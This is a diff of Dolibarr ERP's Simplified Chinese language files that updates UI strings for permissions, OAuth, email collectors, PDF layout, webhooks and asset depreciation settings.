+Permission301=生成条码的PDF表单 +Permission304=创建/修改条码 +Permission305=删除条码 Permission311=查看服务 Permission312=将服务/订阅分配给合同 Permission331=查看书签 @@ -876,7 +886,7 @@ Permission525=访问贷款计算器 Permission527=导出贷款 Permission531=查看服务 Permission532=创建/变更服务 -Permission533=Read prices services +Permission533=读取服务价格 Permission534=删除服务 Permission536=查看管理隐藏的服务 Permission538=导出服务 @@ -940,7 +950,7 @@ Permission1190=审批(二次审批)采购订单 Permission1191=导出供应商订单及其属性 Permission1201=获得导出结果 Permission1202=创建/修改导出信息 -Permission1231=查看供应商发票 +Permission1231=Read vendor invoices (and payments) Permission1232=创建/修改供应商发票 Permission1233=验证供应商发票 Permission1234=删除供应商发票 @@ -971,13 +981,14 @@ Permission3301=生成新模块 Permission4001=查看技能/工作/职位 Permission4002=创建/修改 技能/工作/职位 Permission4003=删除技能/工作/职位 -Permission4020=查看评价 -Permission4021=创建/修改您的评价 -Permission4022=验证评价 -Permission4023=删除评价 -Permission4030=查看比较菜单 +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=验证评价 +Permission4025=删除评价 +Permission4028=查看比较菜单 Permission4031=查看个人信息 Permission4032=写入个人信息 +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=查看网站内容 Permission10002=创建/修改网站内容(HTML和 JavaScript 内容) Permission10003=创建/修改网站内容(动态 PHP代码)。危险,只能提供给受限制的开发人员。 @@ -1031,7 +1042,7 @@ Permission68001=查看内部通讯报告 Permission68002=创建/修改内部通信报告 Permission68004=删除内部通讯报告 Permission941601=查看收据 -Permission941602=创建和修改收据 +Permission941602=创建和编辑收据 Permission941603=验证收据 Permission941604=通过电子邮件发送收据 Permission941605=导出收据 @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=资产处置类型 TypeOfUnit=单位类型 SetupSaved=设置已保存 SetupNotSaved=设置未保存 +OAuthServiceConfirmDeleteTitle=删除OAuth条目 +OAuthServiceConfirmDeleteMessage=您确定要删除这个认证条目吗?它的所有现存令牌也将被删除。 +ErrorInEntryDeletion=删除条目时出错 +EntryDeleted=条目已删除 BackToModuleList=返回模块列表 BackToDictionaryList=返回字典列表 TypeOfRevenueStamp=印花税票种类 @@ -1222,7 +1237,7 @@ SetupDescription4= %s -> %s

      该软件是许多模 SetupDescription5=其他设置菜单条目管理可选参数。 SetupDescriptionLink=%s - %s SetupDescription3b=用于自定义应用程序默认行为的基本参数(例如与国家/地区相关的功能)。 -SetupDescription4b=该软件是许多模块/应用程序的套件。必须启用和配置与您的需求相关的模块。激活这些模块后将出现菜单条目。 +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=被审计的安全事件 NoSecurityEventsAreAduited=未审计任何安全事件。您可以从菜单 %s 启用它们 Audit=安全事件 @@ -1238,12 +1253,13 @@ BrowserName=浏览器名称 BrowserOS=浏览器操作系统 ListOfSecurityEvents=Dolibarr安全事件列表 SecurityEventsPurged=安全事件已清除 -TrackableSecurityEvents=Trackable security events +TrackableSecurityEvents=可追踪的安全事件 LogEventDesc=启用特定安全事件的日志记录。管理可通过菜单 %s - %s 记录的日志。警告,此功能会在数据库中生成大量数据。 AreaForAdminOnly=设置参数只能由 管理员用户 设置。 SystemInfoDesc=系统信息指只对系统管理员可见的以只读方式显示的杂项技术信息。 SystemAreaForAdminOnly=此区域仅供管理员用户使用。 Dolibarr 用户权限无法更改此限制。 CompanyFundationDesc=编辑您的公司/组织的信息。完成后单击页面底部的“%s”按钮。 +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=如果您有外部会计师/簿记员,您可以在此处编辑其信息。 AccountantFileNumber=会计师代码 DisplayDesc=在此处可以修改影响应用程序外观和呈现的参数。 @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=此文件中的触发器将于 %s 模块启 GeneratedPasswordDesc=选择用于自动生成密码的方法。 DictionaryDesc=输入全部参考数据。您能添加你的参数值为默认值。 ConstDesc=此页面允许您编辑(覆盖)其他页面中不可用的参数。这些主要是为开发人员/高级故障排除保留的参数。 +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=所有其他安全相关的参数在这里定义。 LimitsSetup=限制及精度设置 LimitsDesc=您可以在此处定义 Dolibarr 的使用限制、精度和优化 @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=您必须以 %s 用户 YourPHPDoesNotHaveSSLSupport=SSL 函数在您的 PHP 中不可用 DownloadMoreSkins=下载更多外观主题 SimpleNumRefModelDesc=返回格式为 %syymm-nnnn 的参考编号,其中 yy 是年份,mm 是月份,nnnn 是顺序自动递增不会重置的数字 +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=返回格式为 %syymm-nnnn 的参考编号,其中 yy 是年份,mm 是月份,nnnn 是顺序自动递增不会重置的数字 SimpleNumRefNoDateModelDesc=返回格式为 %s-nnnn 的参考号,其中 nnnn 是顺序自动递增不会重置的数字 ShowProfIdInAddress=显示带有地址的资格ID ShowVATIntaInAddress=隐藏欧盟内增值税号 @@ -1372,7 +1391,7 @@ PreloadOPCode=已使用预加载的 OPCode AddRefInList=在组合列表中显示客户/供应商参考。
      第三方将以“CC12345 - SC45678 - The Big Company corp.”的名称格式出现。而不是“The Big Company corp”。 AddVatInList=在组合列表中显示客户/供应商增值税号。 AddAdressInList=在组合列表中显示客户/供应商地址。
      第三方将以“The Big Company corp. - 21 jump street 123456 Big town - USA”的名称格式出现,而不是“The Big Company corp”。 -AddEmailPhoneTownInContactList=显示联系人电子邮件(或电话,如果未定义电子邮件)和城镇信息列表(选择列表或组合框)
      联系人将显示为“Dupond Durand - dupond.durand@email.com - 巴黎”或“Dupond Durand - 06 07 59 65 66 - 巴黎”而不是“Dupond Durand”。 +AddEmailPhoneTownInContactList=显示联系人电子邮件(或电话,如果未定义电子邮件)和城镇信息清单(选择清单或组合框)
      联系人将显示为“Dupond Durand - dupond.durand@email.com - 巴黎”或“Dupond Durand - 06 07 59 65 66 - 巴黎”而不是“Dupond Durand”。 AskForPreferredShippingMethod=询问第三方的首选运输方式。 FieldEdition=%s 字段的编辑 FillThisOnlyIfRequired=例如:+2 (请只在时区错误问题出现时填写) @@ -1380,7 +1399,7 @@ GetBarCode=获取条码 NumberingModules=编码模式 DocumentModules=文件模式 ##### Module password generation -PasswordGenerationStandard=返回根据Dolibarr 内部算法生成的密码:%s 个字符,包含数字和小写字符。 +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=不要建议生成密码。密码必须手动输入。 PasswordGenerationPerso=返回一个字符串用于设置你的个人密码。 SetupPerso=根据你的配置 @@ -1434,6 +1453,10 @@ SuppliersPayment=供应商付款 SupplierPaymentSetup=供应商付款设置 InvoiceCheckPosteriorDate=在验证前检查发票日期 InvoiceCheckPosteriorDateHelp=如果发票日期早于最后一张同类型发票的日期,将禁止验证发票。 +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=报价单模块设置 ProposalsNumberingModules=报价单编号模块 @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=为合同草案添加水印 (无则留空) ##### Members ##### MembersSetup=会员模块设置 MemberMainOptions=主要选项 +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= 管理人员登陆 AdherentMailRequired=创建新成员必须输入电子邮件地址 MemberSendInformationByMailByDefault=设置向会员发送邮件确认(会员确认或添加订阅)复选框默认为启用 MemberCreateAnExternalUserForSubscriptionValidated=为每个经过验证的新订阅用户创建一个外部登录用户 -VisitorCanChooseItsPaymentMode=访客可以从可用的付款方式中选择 +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=通过电子邮件
      启用订阅过期的自动提醒 。注意:模块 %s 必须启用并正确设置才能发送提醒。 MembersDocModules=从成员记录生成的文档的文档模板 ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=为以下为功能启用高级编辑器功能: FCKeditorForNotePublic=所见即所得方式创建/编辑元素的“公共笔记”字段 FCKeditorForNotePrivate=所见即所得方式创建/编辑元素的“内部笔记”字段 FCKeditorForCompany=所见即所得方式创建/编辑元素的描述字段(产品/服务除外) -FCKeditorForProduct=所见即所得方式创建/编辑产品/服务的描述字段 -FCKeditorForProductDetails=所见即所得创建/编辑所有实体(提案、订单、发票等)的产品详细信息行。 警告:严重不建议在这种情况下使用此选项,因为它会在构建 PDF 文件时产生特殊字符和页面格式问题。 +FCKeditorForProductDetails=所见即所得方式创建/编辑的产品描述或对象的行 (建议、订单、发票的行等……)。 +FCKeditorForProductDetails2=警告。严重不建议在这种情况下使用该选项,因为它在建立PDF文件时可能会创建特殊字符和页面格式的问题。 FCKeditorForMailing= 以所见即所得方式创建/编辑群发邮件(工具->电邮寄送) FCKeditorForUserSignature=以所见即所得方式创建/编辑用户签名 FCKeditorForMail=所有邮件的WYSIWIG创建/版本(工具 - > eMailing除外) @@ -1766,7 +1790,7 @@ DetailMenuHandler=菜单处理程序 (决定何处显示新菜单) DetailMenuModule=模块名称 (如果菜单项来自模块) DetailType=菜单类型 (顶部或左侧) DetailTitre=翻译用的菜单标签或标签代码 -DetailUrl=菜单指向的URL (绝对链接或尾部链接,以http://开头) +DetailUrl=菜单发送给您的 URL (相对的 URL 链接或外部链接 https://) DetailEnabled=菜单是否显示的条件 DetailRight=菜单显示为变灰禁用的条件 DetailLangs=标签翻译使用的 .lang 文件名 @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=使用事件类型(在菜单设置 -> 词典 -> 议程 AGENDA_USE_EVENT_TYPE_DEFAULT=在事件创建表单中自动为事件类型设置此默认值 AGENDA_DEFAULT_FILTER_TYPE=自动将此事件设置为议程视图的搜索过滤器 AGENDA_DEFAULT_FILTER_STATUS=自动将此状态设置为议程视图的搜索过滤器 +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=选择菜单议程时默认打开哪个视图 AGENDA_REMINDER_BROWSER=在用户的浏览器 上启用事件提醒 (到达提醒日期时,浏览器会显示一个弹出窗口。每个用户都可以从其浏览器通知设置中禁用此类通知)。 AGENDA_REMINDER_BROWSER_SOUND=启用声音通知 @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=POS 中的库存减少与模块序列 CashDeskYouDidNotDisableStockDecease=你没有禁用POS模块的减少库存功能,所以必须有一个仓库可以使用。 CashDeskForceDecreaseStockLabel=已强制启用有序列号/批号的产品的库存减少。 CashDeskForceDecreaseStockDesc=首先按最旧的eatby 和sellby 日期减少。 -CashDeskReaderKeyCodeForEnter=巴枪中定义的“Enter”键码(示例:13) +CashDeskReaderKeyCodeForEnter=条形码阅读器中定义的"输入"的关键ASCII代码 (例如:13) ##### Bookmark ##### BookmarkSetup=书签模块设置 BookmarkDesc=该模块允许您管理书签。您还可以在左侧菜单中添加任何 Dolibarr 页面或外部网站的快捷方式。 @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=供应商发票编号模型 IfSetToYesDontForgetPermission=如果设置为非空值,请不要忘记向允许进行二次审核的组或用户授予权限 ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Maxmind Geoip 模块设置 -PathToGeoIPMaxmindCountryDataFile=包含 Maxmind IP到国家/地区转换文件的路径。
      示例:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=注意此数据文件所处目录您的PHP必需能读取(检查您 PHP 的 open_basedir 设置和文件系统权限)。 YouCanDownloadFreeDatFileTo=您可以下载 Maxmind网站的GeoIP全球IP地址数据库 免费演示版 的国家地理位置数据文件,地址是 %s。 YouCanDownloadAdvancedDatFileTo=您也可以下载更加完整更新更快的 Maxmind GeoIP 国家文件版本,地址是 %s。 @@ -1926,6 +1953,7 @@ BackupDumpWizard=建立数据库转储文件的向导 BackupZipWizard=建立documents目录压缩包的向导 SomethingMakeInstallFromWebNotPossible=由于以下原因,无法从Web界面安装外部模块: SomethingMakeInstallFromWebNotPossible2=因此,此处描述的升级过程是只有特权用户才能执行的手动过程。 +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=管理员已禁用从应用程序安装外部模块。您必须要求他删除文件 %s 以允许此功能。 ConfFileMustContainCustom=从应用程序安装或构建外部模块需要将模块文件保存到目录 %s中。要让Dolibarr处理此目录,您必须设置 conf / conf.php 以添加2个指令行:
      $ dolibarr_main_url_root_alt ='/ custom';
      $ dolibarr_main_document_root_alt = '%s /自定义'; HighlightLinesOnMouseHover=当鼠标经过表格明细时高亮显示 @@ -1980,7 +2008,7 @@ MailToSendSupplierRequestForQuotation=报价请求 MailToSendSupplierOrder=订单 MailToSendSupplierInvoice=供应商发票 MailToSendContract=合同 -MailToSendReception=Receptions +MailToSendReception=收货 MailToExpenseReport=费用报表 MailToThirdparty=合作方 MailToMember=会员 @@ -2025,7 +2053,7 @@ LandingPage=加载页 SamePriceAlsoForSharedCompanies=如果您使用了多公司模块,并选择了“单一价格”,如果产品在环境之间共享,则所有公司的价格也将相同 ModuleEnabledAdminMustCheckRights=模块已激活。已激活模块的权限仅授予管理员用户。如有必要,您可能需要手动向其他用户或组授予权限。 UserHasNoPermissions=此用户没有定义权限 -TypeCdr=Use "None" if the date of payment term is date of invoice plus a delta in days (delta is field "%s")
      Use "At end of month", if, after delta, the date must be increased to reach the end of month (+ an optional "%s" in days)
      Use "Current/Next" to have payment term date being the first Nth of the month after delta (delta is field "%s", N is stored into field "%s") +TypeCdr=如果付款条款的日期是发票日期加上一个 delta 天数 (delta 是字段“%s”) 使用“无”
      如果在 delta 之后,日期必须增加以达到月底(+一个可选的“%s”天数),使用“在月底”
      ,付款条款的日期是 delta 之后的第一个月的第 N 天 (delta 是字段“%s”,N 被存储在字段“%s”),使用 “当前/下一个”。 BaseCurrency=公司的参考货币(进入公司设置改变这个) WarningNoteModuleInvoiceForFrenchLaw=此模块 %s 符合法国法律 (Loi Finance 2016)。 WarningNoteModulePOSForFrenchLaw=此模块 %s 符合法国法律 (Loi Finance 2016),因为模块不可逆日志是自动激活的。 @@ -2035,8 +2063,8 @@ MAIN_PDF_MARGIN_RIGHT=PDF的右边距 MAIN_PDF_MARGIN_TOP=PDF的上边距 MAIN_PDF_MARGIN_BOTTOM=PDF的底部边距 MAIN_DOCUMENTS_LOGO_HEIGHT=PDF上LOGO的高度 -DOC_SHOW_FIRST_SALES_REP=Show first sales representative -MAIN_GENERATE_PROPOSALS_WITH_PICTURE=在提案行上添加图片列 +DOC_SHOW_FIRST_SALES_REP=显示第一位销售代表 +MAIN_GENERATE_PROPOSALS_WITH_PICTURE=在提案行中添加图片列 MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=图片列的宽度(如有) MAIN_PDF_NO_SENDER_FRAME=隐藏发件人地址框的边框 MAIN_PDF_NO_RECIPENT_FRAME=隐藏收件人地址框的边框 @@ -2053,6 +2081,8 @@ RemoveSpecialChars=删除特殊字符 COMPANY_AQUARIUM_CLEAN_REGEX=正则表达式过滤器清理值(COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=清理值的正则表达式(COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=不允许重复 +RemoveSpecialWords=为客户或供应商生成子帐户时清除某些字词 +RemoveSpecialWordsHelp=在计算客户或供应商帐户之前指定要清理的单词。 在每个单词之间使用“;” GDPRContact=数据保护官(DPO、数据隐私或 GDPR 联系人) GDPRContactDesc=如果您将个人数据存储在您的信息系统中,您可以在此处指定负责一般数据保护条例(GDPR)的联系人 HelpOnTooltip=显示在工具提示上的帮助文本 @@ -2070,16 +2100,17 @@ EmailCollectorDescription=添加计划作业和设置页面以定期扫描电子 NewEmailCollector=新建电子邮件收集器 EMailHost=电子邮件 IMAP 服务器 EMailHostPort=电子邮件 IMAP 服务器的端口 -loginPassword=Login/Password -oauthToken=Oauth2 token -accessType=Acces type -oauthService=Oauth service -TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). +loginPassword=登入/密码 +oauthToken=Oauth2令牌 +accessType=访问类型 +oauthService=认证服务 +TokenMustHaveBeenCreated=必须启用OAuth2模块,和必须使用正确的权限创建oauth2令牌(例如,Gmail的OAuth范围为"gmail_full") MailboxSourceDirectory=邮箱源目录 MailboxTargetDirectory=邮箱目标目录 EmailcollectorOperations=收集器要做的操作 EmailcollectorOperationsDesc=操作从上到下顺序执行 MaxEmailCollectPerCollect=每次收集的最大电子邮件数量 +TestCollectNow=收集测试 CollectNow=立即收集 ConfirmCloneEmailCollector=您确定要克隆电子邮件收集器 %s 吗? DateLastCollectResult=最近一次收集尝试的日期 @@ -2109,6 +2140,7 @@ CodeLastResult=最新结果代码 NbOfEmailsInInbox=源目录中的电子邮件数量 LoadThirdPartyFromName=在 %s 上加载第三方搜索(仅加载) LoadThirdPartyFromNameOrCreate=在 %s 上加载第三方搜索(如果未找到则创建) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=如果在电子邮件主题中找到对象的引用,则将附件保存到对象文档中。 WithDolTrackingID=来自 Dolibarr 发送的第一封电子邮件发起的对话的消息 WithoutDolTrackingID=来自不是从 Dolibarr 发送的第一封电子邮件发起的对话的消息 @@ -2135,7 +2167,7 @@ MAIN_OPTIMIZEFORCOLORBLIND=为色盲者更改界面颜色 MAIN_OPTIMIZEFORCOLORBLINDDesc=如果您是色盲者,请启用此选项,在某些情况下界面会更改颜色设置以增加对比度。 Protanopia=红眼病 Deuteranopes=氘核 -Tritanopes=Tritanopes +Tritanopes=钛太粉 ThisValueCanOverwrittenOnUserLevel=每个用户都可以从其用户页面覆盖此值 - 选项卡“%s” DefaultCustomerType=“新客户”创建表单的默认第三方类型 ABankAccountMustBeDefinedOnPaymentModeSetup=注意:必须在每种支付方式(Paypal,Stripe,...)的模块上定义银行帐户才能使此功能正常工作。 @@ -2183,6 +2215,7 @@ ShowProjectLabel=项目标签 PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=在第三方名称中包含别名 THIRDPARTY_ALIAS=第三方名 - 第三方别名 ALIAS_THIRDPARTY=第三方别名 - 第三方名 +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=如果您想在同一个生成的 PDF 中以 2 种不同的语言复制 PDF 中的某些文本,则必须在此处设置第二种语言,以便生成的 PDF 将在同一页面中包含 2 种不同的语言:生成 PDF 时选择的一种和这个(只有少数 PDF 模板支持这一点)。留空为每个 PDF只有1种语言。 PDF_USE_A=使用 PDF/A 格式而不是默认格式 PDF 生成 PDF 文档 FafaIconSocialNetworksDesc=在此处输入 FontAwesome 图标的代码。如果你不知道什么是 FontAwesome,你可以使用通用值 fa-address-book。 @@ -2211,12 +2244,12 @@ MailToPartnership=合伙 AGENDA_EVENT_DEFAULT_STATUS=从表单创建事件时的默认事件状态 YouShouldDisablePHPFunctions=您应该禁用 PHP 函数 IfCLINotRequiredYouShouldDisablePHPFunctions=除非您需要在自定义代码中运行系统命令,否则您应该禁用 PHP 函数 -PHPFunctionsRequiredForCLI=出于 shell 目的(如计划的备份作业或运行杀毒程序),您必须保留 PHP 函数 +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=在您的根目录中没有找到常用程序的可写文件或目录(好) RecommendedValueIs=建议:%s Recommended=推荐 NotRecommended=不建议 -ARestrictedPath=一些受限路径 +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=检查外部模块更新 CheckForModuleUpdateHelp=此操作将连接到外部模块的编写者以检查是否有新版本可用。 ModuleUpdateAvailable=有可用的更新 @@ -2224,7 +2257,7 @@ NoExternalModuleWithUpdate=未找到外部模块的更新 SwaggerDescriptionFile=Swagger API 描述文件(例如与 redoc 一起使用) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=您启用了已弃用的 WS API。您应该改用 REST API。 RandomlySelectedIfSeveral=如果有多张图片则随机选择 -SalesRepresentativeInfo=For Proposals, Orders, Invoices. +SalesRepresentativeInfo=用于建议、订单、发票 DatabasePasswordObfuscated=在 conf 文件中的数据库密码已被混淆 DatabasePasswordNotObfuscated=在 conf 文件中的数据库密码未被混淆 APIsAreNotEnabled=未启用 API 模块 @@ -2264,10 +2297,10 @@ LateWarningAfter=“逾期”警告时间 TemplateforBusinessCards=不同大小的名片模板 InventorySetup= 库存设置 ExportUseLowMemoryMode=使用低内存模式 -ExportUseLowMemoryModeHelp=使用低内存模式执行转储的 exec(压缩是通过管道完成的,而不是进入 PHP 内存)。此方法不允许检查文件是否已完成,如果失败则无法报告错误消息。 +ExportUseLowMemoryModeHelp=使用低内存模式来生成转储文件 (压缩是通过管道而不是进入 PHP 内存)。这种方法不允许检查文件是否完整,如果失败也不能报告错误信息。如果你遇到内存不足的错误,请使用它。 ModuleWebhookName = Webhook -ModuleWebhookDesc = 捕获 dolibarr 触发器并将其发送到某个 URL 的接口 +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook 设置 Settings = 设置 WebhookSetupPage = Webhook 设置页面 @@ -2288,6 +2321,8 @@ IconOnly=仅图标 - 仅在工具提示上显示文本 INVOICE_ADD_ZATCA_QR_CODE=在发票上显示 ZATCA 二维码 INVOICE_ADD_ZATCA_QR_CODEMore=一些阿拉伯国家的发票上需要此二维码 INVOICE_ADD_SWISS_QR_CODE=在发票上显示瑞士QR-Bill二维码 +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=社交网络的 URL 链接。使用 {socialid} 作为包含社交网络 ID 的变量部分。 IfThisCategoryIsChildOfAnother=如果此类别是另一个类别的子类别 DarkThemeMode=深色主题模式 @@ -2306,4 +2341,38 @@ MAIN_MAIL_SMTPS_AUTH_TYPE=认证方式 UsePassword=使用密码 UseOauth=使用 OAUTH 令牌 Images=图像 -MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfImagesInGetPost=在表单中提交的HTML字段中允许的最大图片数量 +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=该模块带来了一个 URL,外部工具可以使用该 URL 从其电话号码中获取第三方或联系人的名称。可使用的网址是: +ScriptIsEmpty=脚本是空的 +ShowHideTheNRequests=显示/隐藏%sSQL请求 +DefinedAPathForAntivirusCommandIntoSetup=定义一个杀毒程序的路径到%s +TriggerCodes=可触发的事件 +TriggerCodeInfo=在这里输入必须生成网络请求帖子的触发代码 (只允许外部 URL)。你可以输入几个用逗号分隔的触发代码。 +EditableWhenDraftOnly=如果不勾选,只有当对象在草稿状态时才能修改该值 +CssOnEdit=编辑页面上的CSS +CssOnView=浏览页面上的CSS +CssOnList=清单页面上的CSS +HelpCssOnEditDesc=当编辑字段时使用的 Css。
      例如:“minwiwdth100 maxwidth500 widthcentpercentminusx” +HelpCssOnViewDesc=当浏览字段时使用的 Css。 +HelpCssOnListDesc=当字段位于清单表格中时使用的 Css。
      例如:“tdoverflowmax200” +RECEPTION_PDF_HIDE_ORDERED=在生成的收货文档上隐藏订购数量 +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=在生成的收货文档上显示价格 +WarningDisabled=警告已禁用 +LimitsAndMitigation=访问限制和缓解 +DesktopsOnly=仅限台式机 +DesktopsAndSmartphones=台式机和智能手机 +AllowOnlineSign=允许在线签名 +AllowExternalDownload=允许外部下载 (无需登录,使用共享链接) +DeadlineDayVATSubmission=下个月提交增值税的截止日期 +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/zh_CN/assets.lang b/htdocs/langs/zh_CN/assets.lang index 400f1d46bc5..ae647333de2 100644 --- a/htdocs/langs/zh_CN/assets.lang +++ b/htdocs/langs/zh_CN/assets.lang @@ -1,4 +1,4 @@ -# Copyright (C) 2018 Alexandre Spangaro +# Copyright (C) 2018-2022 Alexandre Spangaro # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -16,50 +16,171 @@ # # Generic # -Assets = 资产 -NewAsset = 新资产 -AccountancyCodeAsset = 科目代码(资产) -AccountancyCodeDepreciationAsset = 科目代码(折旧资产帐户) -AccountancyCodeDepreciationExpense = 科目代码(折旧费用帐户) -NewAssetType=新资产类型 -AssetsTypeSetup=Asset type setup -AssetTypeModified=Asset type modified -AssetType=Asset type +NewAsset=新资产 +AccountancyCodeAsset=科目代码(资产) +AccountancyCodeDepreciationAsset=科目代码(折旧资产帐户) +AccountancyCodeDepreciationExpense=科目代码(折旧费用帐户) AssetsLines=资产 DeleteType=删除 -DeleteAnAssetType=Delete an asset type -ConfirmDeleteAssetType=Are you sure you want to delete this asset type? -ShowTypeCard=显示类型'%s' +DeleteAnAssetType=删除资产模型 +ConfirmDeleteAssetType=您确定要删除该资产模型吗? +ShowTypeCard=显示模型“%s” # Module label 'ModuleAssetsName' -ModuleAssetsName = 资产 +ModuleAssetsName=资产 # Module description 'ModuleAssetsDesc' -ModuleAssetsDesc = 资产说明 +ModuleAssetsDesc=资产描述 # # Admin page # -AssetsSetup = 资产设置 -Settings = 设置 -AssetsSetupPage = 资产设置页面 -ExtraFieldsAssetsType = Complementary attributes (Asset type) -AssetsType=资产类型 -AssetsTypeId=资产类型ID -AssetsTypeLabel=资产类型标签 -AssetsTypes=资产类型 +AssetSetup=资产设置 +AssetSetupPage=资产设置页面 +ExtraFieldsAssetModel=互补属性 (资产的模型) + +AssetsType=资产模型 +AssetsTypeId=资产模型 ID +AssetsTypeLabel=资产模型标签 +AssetsTypes=资产模型 +ASSET_ACCOUNTANCY_CATEGORY=固定资产科目组 # # Menu # -MenuAssets = 资产 -MenuNewAsset = 新资产 -MenuTypeAssets = 输入资产 -MenuListAssets = 名单 -MenuNewTypeAssets = 新建 -MenuListTypeAssets = 名单 +MenuAssets=资产 +MenuNewAsset=新资产 +MenuAssetModels=模型资产 +MenuListAssets=清单 +MenuNewAssetModel=新资产模型 +MenuListAssetModels=清单 # # Module # -NewAssetType=新资产类型 -NewAsset=新资产 +ConfirmDeleteAsset=您真的要移除该资产吗? + +# +# Tab +# +AssetDepreciationOptions=折旧选项 +AssetAccountancyCodes=会计科目 +AssetDepreciation=折旧 + +# +# Asset +# +Asset=资产 +Assets=资产 +AssetReversalAmountHT=冲销金额 (未税) +AssetAcquisitionValueHT=购置金额 (未税) +AssetRecoveredVAT=Recovered VAT +AssetReversalDate=Reversal date +AssetDateAcquisition=购置日期 +AssetDateStart=开始日期 +AssetAcquisitionType=购置类型 +AssetAcquisitionTypeNew=新建 +AssetAcquisitionTypeOccasion=已使用 +AssetType=资产类型 +AssetTypeIntangible=Intangible +AssetTypeTangible=Tangible +AssetTypeInProgress=进行中 +AssetTypeFinancial=Financial +AssetNotDepreciated=Not depreciated +AssetDisposal=处置 +AssetConfirmDisposalAsk=您确定要处置资产%s吗? +AssetConfirmReOpenAsk=您确定要重新打开资产%s吗? + +# +# Asset status +# +AssetInProgress=进行中 +AssetDisposed=已处置 +AssetRecorded=已记帐 + +# +# Asset disposal +# +AssetDisposalDate=处置日期 +AssetDisposalAmount=处置价值 +AssetDisposalType=处置类型 +AssetDisposalDepreciated=Depreciate the year of transfer +AssetDisposalSubjectToVat=Disposal subject to VAT + +# +# Asset model +# +AssetModel=资产的模型 +AssetModels=资产的模型 + +# +# Asset depreciation options +# +AssetDepreciationOptionEconomic=Economic depreciation +AssetDepreciationOptionAcceleratedDepreciation=Accelerated depreciation (tax) +AssetDepreciationOptionDepreciationType=Depreciation type +AssetDepreciationOptionDepreciationTypeLinear=Linear +AssetDepreciationOptionDepreciationTypeDegressive=Degressive +AssetDepreciationOptionDepreciationTypeExceptional=Exceptional +AssetDepreciationOptionDegressiveRate=Degressive rate 